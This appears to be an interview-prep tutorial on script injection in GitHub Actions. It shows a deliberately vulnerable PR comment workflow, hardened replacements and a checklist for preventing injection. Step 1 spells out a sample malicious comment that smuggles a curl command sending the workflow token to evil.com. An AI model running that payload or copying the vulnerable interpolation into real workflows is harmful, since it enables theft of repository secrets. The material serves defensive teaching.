DeployU
Interviews / DevOps & Cloud Infrastructure / A workflow is vulnerable to script injection attacks. Identify and fix the security issues.

A workflow is vulnerable to script injection attacks. Identify and fix the security issues.

debugging Security Interactive Quiz Code Examples

The Scenario

Security team flagged this workflow during an audit:

name: PR Comment Handler

on:
  issue_comment:
    types: [created]

jobs:
  process:
    if: github.event.issue.pull_request && contains(github.event.comment.body, '/deploy')
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Deploy
        run: |
          echo "Deploying based on comment: ${{ github.event.comment.body }}"
          ./deploy.sh ${{ github.event.comment.body }}

      - name: Update PR
        run: |
          gh pr comment ${{ github.event.issue.number }} --body "Deployed: ${{ github.event.comment.body }}"
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

The security team says this is “critically vulnerable.” Why?

The Challenge

Identify all injection vulnerabilities in this workflow and implement secure alternatives.

Wrong Approach

A junior engineer might not see the problem, think the workflow is safe because it's internal, or just add input validation in bash. These approaches miss the fundamental injection vector and leave the workflow exploitable.

Right Approach

A senior engineer recognizes that user-controlled data (${{ }}) interpolated directly into scripts creates injection vectors. They use environment variables instead of direct interpolation, validate and sanitize inputs, and apply the principle of least privilege.

Step 1: Understand the Attack Vector

# VULNERABLE: Direct interpolation of user input
- run: |
    echo "Comment: ${{ github.event.comment.body }}"

# Attacker creates comment:
# /deploy"; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo "

# Results in execution of:
echo "Comment: /deploy"; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo ""
# ^ The attacker's command runs with workflow permissions!

Step 2: The Secure Pattern - Use Environment Variables

name: Secure PR Comment Handler

on:
  issue_comment:
    types: [created]

# Minimum required permissions
permissions:
  contents: read
  pull-requests: write

jobs:
  process:
    # Additional validation
    if: |
      github.event.issue.pull_request &&
      contains(github.event.comment.body, '/deploy') &&
      github.event.comment.author_association == 'MEMBER'
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      # SECURE: Pass user input via environment variable
      - name: Process comment
        env:
          COMMENT_BODY: ${{ github.event.comment.body }}
          PR_NUMBER: ${{ github.event.issue.number }}
        run: |
          # Now $COMMENT_BODY is a string, not interpolated code
          echo "Processing comment from PR #$PR_NUMBER"

          # Validate the command format
          if [[ "$COMMENT_BODY" =~ ^/deploy[[:space:]]+(staging|production)$ ]]; then
            ENVIRONMENT="${BASH_REMATCH[1]}"
            echo "Valid deploy command for: $ENVIRONMENT"
            ./deploy.sh "$ENVIRONMENT"
          else
            echo "Invalid command format"
            exit 1
          fi

      - name: Update PR
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          PR_NUMBER: ${{ github.event.issue.number }}
        run: |
          # Safe: PR_NUMBER is validated by GitHub
          gh pr comment "$PR_NUMBER" --body "Deployment initiated"

Step 3: Validate All User-Controlled Inputs

name: Secure Issue Handler

on:
  issues:
    types: [opened, edited]

permissions:
  issues: write

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - name: Validate issue title
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
          ISSUE_BODY: ${{ github.event.issue.body }}
        run: |
          # Validate title format (example: must start with [BUG] or [FEATURE])
          if [[ ! "$ISSUE_TITLE" =~ ^\[(BUG|FEATURE|DOCS)\] ]]; then
            echo "::error::Issue title must start with [BUG], [FEATURE], or [DOCS]"
            exit 1
          fi

          # Sanitize for logging (remove potential injection characters)
          SAFE_TITLE=$(echo "$ISSUE_TITLE" | tr -d '`${}|;&')
          echo "Processing issue: $SAFE_TITLE"

Step 4: Secure GitHub Script Usage

# VULNERABLE: Direct interpolation in github-script
- uses: actions/github-script@v7
  with:
    script: |
      github.rest.issues.createComment({
        issue_number: context.issue.number,
        owner: context.repo.owner,
        repo: context.repo.repo,
        body: 'Received: ${{ github.event.comment.body }}'  // INJECTION!
      })

# SECURE: Use environment variables with github-script
- uses: actions/github-script@v7
  env:
    COMMENT_BODY: ${{ github.event.comment.body }}
  with:
    script: |
      const body = process.env.COMMENT_BODY;

      // Validate and sanitize
      const sanitized = body.replace(/[<>]/g, '');

      github.rest.issues.createComment({
        issue_number: context.issue.number,
        owner: context.repo.owner,
        repo: context.repo.repo,
        body: `Received: ${sanitized}`
      })

Step 5: Secure Workflow for External Contributors

name: PR from Fork Handler

# pull_request_target runs with repo secrets - be extra careful!
on:
  pull_request_target:
    types: [opened, synchronize]

permissions:
  contents: read
  pull-requests: write

jobs:
  # First job: safe operations only, no checkout of PR code
  validate:
    runs-on: ubuntu-latest
    outputs:
      safe: ${{ steps.check.outputs.safe }}
    steps:
      - name: Check if trusted contributor
        id: check
        env:
          AUTHOR: ${{ github.event.pull_request.user.login }}
          ASSOCIATION: ${{ github.event.pull_request.author_association }}
        run: |
          # Only trust members and collaborators
          if [[ "$ASSOCIATION" == "MEMBER" || "$ASSOCIATION" == "COLLABORATOR" ]]; then
            echo "safe=true" >> $GITHUB_OUTPUT
          else
            echo "safe=false" >> $GITHUB_OUTPUT
          fi

  # Second job: only runs for trusted contributors
  build:
    needs: validate
    if: needs.validate.outputs.safe == 'true'
    runs-on: ubuntu-latest
    steps:
      # Safe to checkout PR code only for trusted contributors
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

      - run: npm ci && npm test

  # For untrusted contributors, request review
  request-review:
    needs: validate
    if: needs.validate.outputs.safe == 'false'
    runs-on: ubuntu-latest
    steps:
      - name: Label for review
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          PR_NUMBER: ${{ github.event.pull_request.number }}
        run: |
          gh pr edit "$PR_NUMBER" --add-label "needs-review"

Step 6: Complete Security Checklist

name: Security-Hardened Workflow

on:
  pull_request:
    types: [opened, synchronize]

# 1. Minimum permissions
permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest

    # 2. Pin action versions to full SHA
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

      # 3. Validate inputs before use
      - name: Validate PR
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
          PR_AUTHOR: ${{ github.event.pull_request.user.login }}
        run: |
          # Never directly interpolate, always use env vars
          echo "PR by: $PR_AUTHOR"

      # 4. Use intermediate environment variables
      - name: Build
        env:
          BRANCH_NAME: ${{ github.head_ref }}
        run: |
          # Validate branch name format
          if [[ ! "$BRANCH_NAME" =~ ^[a-zA-Z0-9/_-]+$ ]]; then
            echo "Invalid branch name format"
            exit 1
          fi
          npm run build

      # 5. Don't expose secrets in logs
      - name: Deploy
        env:
          API_KEY: ${{ secrets.API_KEY }}
        run: |
          # Never echo secrets
          # Bad: echo "Key: $API_KEY"
          # Good: use in command directly
          curl -H "Authorization: Bearer $API_KEY" https://api.example.com/deploy

  # 6. Separate jobs for elevated permissions
  comment:
    needs: build
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Comment on PR
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          PR_NUMBER: ${{ github.event.pull_request.number }}
        run: |
          gh pr comment "$PR_NUMBER" --body "Build successful!"

Injection Prevention Rules

ContextVulnerableSecure
Shell commands${{ github.event.* }} in runUse env: block
JS in github-script${{ }} in scriptUse process.env
PR titles/bodiesDirect interpolationEnvironment variable
Issue commentsDirect in any contextAlways sanitize
Branch namesCan contain special charsValidate format

Practice Question

Why is using environment variables safer than direct interpolation of github.event data in workflow run steps?